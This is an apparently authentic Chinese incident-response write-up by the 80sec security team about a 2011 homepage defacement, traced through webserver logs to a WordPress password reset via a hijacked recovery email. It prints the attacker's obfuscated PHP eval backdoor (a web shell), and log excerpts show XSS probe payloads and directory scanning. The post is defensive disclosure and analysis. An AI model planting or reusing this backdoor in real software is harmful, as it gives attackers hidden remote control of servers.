[ 目錄 ]
0×00 事件背景
0×01 應急響應
0×02 事件分析
0×03 事件啟示
0×04 總結(jié)

0×00 事件背景

在感恩節(jié)的晚上，我們的站點遭遇了攻擊，幾名未知性別的黑客成功涂改掉了我們的首頁，事情發(fā)生后很多朋友對我們被攻擊的原因和經(jīng)過都很關(guān)心，各種猜測都有，加上我們后續(xù)對于這次攻擊的分析結(jié)果來看，我們覺得整次攻擊和事后應急及分析的過程都適合作為一次典型的案例分析，把整件事情披露出來無論是對我們還是對業(yè)界會非常有意義，入侵者給我們在感恩節(jié)送了這么好的禮物，我們要好好接受才對：）


0×01 應急響應

事件發(fā)生之后的一段時間我們登錄到服務器，由于首頁替換的時間很短暫，我們甚至沒有抓到截圖，開始甚至都懷疑是ARP欺騙或者是DNS劫持之類的攻擊，但是作為應急響應的箴言之一，我們最好不要相信猜測，一切以日志分析為主，一旦猜測我們從開始就輸了。
我們知道在webserver的日志里記錄了幾乎所有有價值的信息，我們后續(xù)的檢測必須依賴于日志，所以建議各位日志沒開的同學先把日志打開并且保存足夠長的時間，在這個有價值的信息里，我們第一個需要找準的就是攻擊發(fā)生的具體時間點，因為我們是首頁被黑并且時間較短，我們迅速stat了下首頁文件的內(nèi)容，發(fā)現(xiàn)完全正常沒有任何改變：

File: `/home/jianxin/80sec.com/public_html/index.php’
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800

我們知道在linux系統(tǒng)下面的ctime會需要權(quán)限較高才能修改，而我們的系統(tǒng)是最新的patch，據(jù)我們了解也應該不存在使用未公開的漏洞來攻擊我們的可能，畢竟我們只是一個技術(shù)站點，難道真的是ARP或者是Dns劫持么？在webserver的log里有一個選項記錄了這一次請求所傳遞的數(shù)據(jù)量，我們對比了下發(fā)現(xiàn)，的確在某個時間首頁的數(shù)據(jù)量有一個顯著的減少：

173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;

為676字節(jié)，而一般的請求大小為

98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″

31831字節(jié)，我們可以確認webserver的確出現(xiàn)了問題，入侵者的確能夠控制我們的首頁顯示，到這里我們基本可以確定攻擊時間和攻擊的源IP了，當你被黑了的時候，第一個訪問那個頁面的基本就是攻擊者本人，他們會迫不及待的來看攻擊成果：）
既然服務器有問題了，那我們來看看今天有什么文件被修改了：

find /home/ -ctime 1

立刻我們就發(fā)現(xiàn)了一些好玩的東西：

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

看來這就是那只后門了，寫到了一個全局可寫的緩存文件里，而且特意做了隱藏，基本是正常的代碼也不觸發(fā)什么關(guān)鍵字，那么問題在于這么一些可愛的代碼是怎么到我的服務器上的呢？這個后門我們發(fā)現(xiàn)最早出現(xiàn)的時間并不是在80sec里，而是在同一服務器上一個80sec童鞋的Blog里，最早的時間可以追朔到

218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2"

ip似乎也比較吻合，那么似乎假設如果沒有猜錯的話，第一個被攻擊的目標應該是這個很勺的80sec童鞋的Blog才對，那么是如何攻擊的呢？我們將日志里與這個ip相關(guān)的抽取出來

218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"

攻擊很早就發(fā)生了，甚至還使用了

218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s= HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=t>alert(1499328686)%3Bt> HTTP/1.0″ 200 8667 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p=t>alert(812396909)%3Bt> HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28990417228%29%3B%22%3E HTTP/1.0″ 200 8586 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s= HTTP/1.0″ 200 8777 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?s= HTTP/1.0″ 200 8816 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%288013950%29%3B%22%3E HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

一個web掃描工具對站點進行了詳細的掃描，連一個功能簡單的開源blog都不放過，可以猜測對一般的站點每天要遭受多少蹂躪，最后攻擊者開始找回密碼

218.213.229.74 – - [19/Nov/2011:05:25:39 +0800] “GET /wp-admin/images/button-grad-active.png HTTP/1.1″ 200 575 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:25:40 +0800] “POST /wp-login.php HTTP/1.1″ 200 2155 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:01 +0800] “POST /wp-login.php HTTP/1.1″ 200 2156 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:03 +0800] “GET /wp-login.php?action=lostpassword HTTP/1.1″ 200 1741 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:19 +0800] “POST /wp-login.php?action=lostpassword HTTP/1.1″ 200 2106 “http://sex1986.com/wp-login.php?action=lostpassword” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″

最后，攻擊者的確成功的取回了密碼，然后通過這個密碼進入了后臺，后臺的功能比較豐富然后上傳了后門，在清楚攻擊者的手法之后我們很快定位了原因和進行了處理，我們的服務器以較低身份運行，而程序文件權(quán)限是以屬主身份運行，所以整個web目錄不可寫，較好的控制了入侵的范圍，在對入侵者放置在各個角落里的后門處理之后，我們修改相應密碼恢復了站點的運行；

0×02 事件分析

我們討論一次入侵事件，必須要清楚相應的目的，在恢復站點運行之后，我們分析了入侵者所有的動作，大概可以總結(jié)如下這次攻擊更像是針對wooyun.org的一次攻擊，因為wooyun.org近期的一些事情被遷移到日本的vps，所以這可能是一次長期的持久的滲透攻擊，專業(yè)點稱為APT攻擊，但是由于代碼邏輯完全不在這臺服務器上，所以攻擊者失敗了。
攻擊者在取回郵箱密碼的時候手法值得懷疑，盡管整個事件的源頭是由于某個很勺的80sec童鞋，這位童鞋雖然很勺，但是絕對不使用弱口令也不會使用生日密碼（我們的安全意識不像傳聞的那樣弱），同時這位悲催的童鞋有兩個郵箱，一個郵箱是wordpess的密碼找回郵箱！另外一個郵箱同樣也是這個wordpress密碼郵箱的密碼找回郵箱！wordpess和兩個郵箱的安全關(guān)聯(lián)層層相扣！未知性別的感恩節(jié)攻擊者采用讀心術(shù)控制了我們這位很純潔的童鞋的最后一個關(guān)鍵郵箱，在沒有漏洞的情況下滲透進了服務器，得到了大家上面所看到的結(jié)果，很偉大，不是么？
通過一段時間的關(guān)聯(lián)分析，我們發(fā)現(xiàn)與這次攻擊相關(guān)的人都可能遭受到不同程度的牽連，包括曾經(jīng)在80sec.com上注冊的不少用戶都通過郵箱找回了密碼，而攻擊的來源與此次攻擊者正好相同，這里最大的問題在于，誰能夠同時擁有這么多郵箱，包括163，hotmail以及gmail的密碼，我們有理由相信這次攻擊與國內(nèi)很多大型社區(qū)的數(shù)據(jù)庫失竊，與傳聞的某郵箱數(shù)據(jù)庫失竊有關(guān)。
攻擊者所使用的后門開始有意識的進行躲避和查殺，如果不是入侵者通過緩存直接修改了首頁，那么這次攻擊可能隱蔽得更深更長時間，所造成的危害可能更大，對于80sec而言，我們所有的文檔和技術(shù)都在站點進行分享，并沒有安全級別要求較高的數(shù)據(jù)，所以可能影響不大，但是對于一些包含重要數(shù)據(jù)的企業(yè)和網(wǎng)站而言，同時我們事后發(fā)現(xiàn)攻擊者所使用的IP是一家站點，很可能該家站點已經(jīng)被攻陷作為跳板，如何在攻擊發(fā)生和嘗試發(fā)生時發(fā)現(xiàn)和阻止將是一件很有挑戰(zhàn)的事情。

0×03 事件啟示

在這件事情里，我們覺得對我們最有意義包括兩點，一點是現(xiàn)有互聯(lián)網(wǎng)認證機制的崩潰，這主要表現(xiàn)在目前的互聯(lián)網(wǎng)的認證是基于電子郵件的認證，電子郵件在各個企業(yè)和互聯(lián)網(wǎng)公司都被用作標識用戶身份，而經(jīng)過近幾年黑客一輪又一輪的洗禮，目前國內(nèi)互聯(lián)網(wǎng)企業(yè)里含有較大用戶基數(shù)的站點都可能已經(jīng)淪陷，而在即使知道自己用戶數(shù)據(jù)庫被竊取之后大多數(shù)的企業(yè)基于自身利益原因還是會保持沉默。黑客在攢積大量的用戶密碼之后，就可以使得基于賬戶密碼，基于郵箱認證的現(xiàn)有安全認證機制失效，這已經(jīng)是現(xiàn)有互聯(lián)網(wǎng)企業(yè)的災難，請想想你們企業(yè)內(nèi)部郵箱是否對外，以及郵箱是否是靜態(tài)密碼，如果郵箱是內(nèi)部，那么VPN呢，而這種安全機制的失效又稱為攻擊者攢積新的數(shù)據(jù)庫的基礎(chǔ)，形成一個巨大的黑色雪球，徹底瓦解互聯(lián)網(wǎng)安全。
另外一部分是關(guān)于apt攻擊的，理論上我們只要有一個目標，基本是沒有攻破不了的，特別是對于大企業(yè)而言，架構(gòu)的改動，IDC的擴充，企業(yè)并購和投資都可能為你的安全體系引入新的風險，如何在一個動態(tài)的環(huán)境下建設一個較為完善的安全體系，這將是安全人員面臨的一個巨大挑戰(zhàn)，因為從這一次時間里就可以看到，我們并沒有因為是存在什么實際的漏洞而導致被入侵。

0×04 總結(jié)

在80sec出現(xiàn)問題之后，不少人猜測是漏洞還是什么原因遭受攻擊，有人懷疑是安全意識問題，也有一些安全廠商詢問是否可以通過WAF或者其他的安全產(chǎn)品來避免此次安全事件，不過在事件披露之后，相信大家應該很清楚能否通過現(xiàn)有產(chǎn)品來避免此類的攻擊行為，我們的安全概念需要更新了，不只是漏洞也不只是安全意識了，包括安全的理解，對攻擊的理解都需要有一個全新的認識了，最后歡迎微博上某位產(chǎn)品安全廠商開發(fā)出能夠保護我們的安全產(chǎn)品，也歡迎攻擊者可以聯(lián)系到我們看看我們的整個過程的分析是否正確

最新評論